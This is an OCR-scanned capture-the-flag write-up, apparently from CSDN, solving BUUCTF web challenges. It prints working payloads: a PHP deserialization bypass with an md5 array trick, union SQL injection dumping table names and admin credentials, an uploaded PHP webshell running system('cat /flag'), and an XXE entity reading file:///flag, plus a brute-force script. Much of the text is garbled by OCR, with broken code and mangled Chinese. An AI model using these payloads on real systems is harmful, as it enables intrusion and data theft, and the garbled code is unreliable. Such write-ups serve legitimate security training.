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root@out:~# 1s /
get-pip.py
flag. txt
root@out:~# cat flag.txt

cat: flag.txt: No such file or directory
root@out:~# cat /flag.txt
flag{7977d3c0@-12f0-495d-bacd-1942196baldc} CSDN @Nat3cho
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<?php

highlight file(_ FILE_);
if(isset($_GET[ 1))
{

$str = $ GET[ 1;
include $ GET[ 1;

)i
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BUU CODE REVIEW 1

php
highlight file(_ FILE_ );
class BUU {
public $correct
public $input ;
public function _ destruct() {
try {
$this->correct base64_encode(uniqid());
if($this->correct $this->input) {
echo file_get_ contents( )
)i
} catch (Exception $e) {

}

)i
if($_GET[ ) {
if($_POST[ ) {
if(md5($_POST[ D) md5($_POST[ $_POST[ 1 {
unserialize($_POST[ s
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public $correct
public $input
)i
$a new BUU;
$a->input $a->correct;
echo Serialize($a);




B3 THMEN 0:3:"BUU":2:{s:7: "correct";s:0:"";s:5:"input";R:2;}
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?’pleaseget=1

: pleasepost=2&md51[ ]=1&md52[ ]=2&0bj=0:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

highlight_file(__FILE_);

class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this—>correct === $this—>input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
s
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $ POST['md52']) {
unserialize($_POST['obj']l);
}
}
}

Warning: md5() expects parameter 1 to be string, array given in /lvariwww/html/index.php on line 28

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 28
flag{e1bb1936-0d27-445f-baa9-1fbc7505105f} O
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import requests

import time

url

fail []
S requests.session()
for i in (10000) :

u url ( (1).zfill(4))
result s.get(u).text
print( ,1)
if not in result:
print(result)
if in result:
fail.append( (1).zfill(4))
print(fail)
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try: 6490

BRI, flag{0409f0fb-cd71-4c42-9979-a72dc83a%4e2}
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flag{0409f0fb-cd71-4c42-9979-a72dc83a9%4e2}

BUU SQL COURSE 1

ARH :
BUU FiIR

R -
1. BEE AT —AFE, KAulE2NL, HEaA ' RN,
2. F12#%TF, RTFHEFHKur

R & & Xt RigE HE &8 KN ‘ ) 110248 i20
&n GET # 9934cf14-7ab9-4565-a8... vendor.6928dc8bA435226e304dc.js script is BEF 799.40KB | o®®

GET % 9934cf14-7ab9-4565-a8... app.4ac675624e911d3d3b227b3be5c506al.css stylesheet css BEF 199.14 KB 0w

200] GET # 9934cf14-7ab9-4565-a8... app.0949cf6bda03ficsc23a.js script is =33 4.40 KB (3 )

200 GET # 9934cf14-7ab9-4565-a8... content_list.php xhr json 392 FF 142 F7 | o5 ®®

(404] GET # 9934cf14-7ab9-4565-a8... favicon.ico img html [EF {2 153 F5 [ )

GET # 9934cf14-7ab9-4565-a8... content_detail.php?id=1 xhr json 324 FF 74 FF SAREEE L3
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backend/content_detail.php?id=1
backend/content_detail.php?id=1
backend/content_detail.php?id i)
backend/content_detail.php?id 1

backend/content_detail.php?id 1,group_concat(table_name information_schema

able schema
backend/content_detail.php?id 1,group_concat(column_name information_schema
table _name
backend/content_detail.php?id 1,group_concat(column_name information_schema
table name

backend/content_detail.php?id username, password admin
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flag{d4a936a6-3df2-4704-b1c1-49d1b230a1ab}

5. 183flag
flag{d4a936a6-3df2-4704-b1c1-49d1b230a1ab}
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<?php phpinfo();?> W ARIHIAT



4 bfE—Aphp3CfF, WA <?php system('1s');?>

index.php upload.php uploads
5. #kgk BfE—Aphp3tty, WM <2php system('ls /');?>

bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
6 BJ5 LE—phpXt:, WHEA <2php system('cat /flag');?>, f5Flflag

flag{75c514de-ddb0-4152-afeb-4ecc0589d681}

flag{75c514de-ddb0-4152-afeb-4ecc0589d681}
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POST /login.php HTTP/1.1

Host: 45d308d3-6131-49c2-8ca9-7c835b3a8c8a.node4.buuoj.cn:81

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-Type: text/plain;charset=UTF-8

Content-Length: 107

Origin: http://45d308d3-6131-49c2-8ca9-7c835b3a8c8a.node4.buuoj.cn:81
Connection: close

Referer: http://45d308d3-6131-49c2-8ca9-7c835b3a8c8a.node4.buuoj.cn:81/

Cookie: UM distinctid=17bde9c7db762-078896c4d8ae918-455f6c-13c680-17bde9c7db8494

<?xml version="1.0" encoding="UTF-8"?><root> <username>admin</username> <password>123456</password> </root>

3. APAE HIXAxmIE AT, BrPARRATEZR xxe

POST /login.php HTTP/1.1 - HTTP/1.1 200 OK

Host: 45d308d3-6131-49c2-8ca9-7c835b3a8c8a.node4.buuoj.cn:81 B Server: openresty

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Date: Tue, 04 Jan 2022 14:16:43 GMT

Accept: */* Content-Type: text/html; charset=UTF-8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Length: 58

Content-Type: text/plain;charset=UTF-8 Connection: close

Content-Length: 176 X-Powered-By: PHP/7.0.33

Origin: http://45d308d3-6131-49c2-8ca9-7c835b3a8c8a.node4.buuocj.cn:81

Connection: close Your username: flag{0554abe6-e28a-4e7b-9c93-8897cbdcd438}

Referer: http://45d308d3-6131-49c2-8ca9-7c835b3a8c8a.node4.buuoj.cn:81/
Cookie: UM_distinctid=17bde9c7db762-078896c4d8ae918-455f6c-13c680-17bde9c7db8494

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE xxe [
<IENTITY xxe SYSTEM *file:///flag'
>]>
<root>
<username>&xxe;</username>
<password>123456</password>
</root>

payload 45 /R ATTIE

< IDOCTYPE xxe [
<IENTITY xxe SYSTEM ‘'file:///flag'
>]>

> </
>123456</

4 133I1flag iy
flag{0554abe6-e28a-4e7b-9c93-8897cbdcd438}
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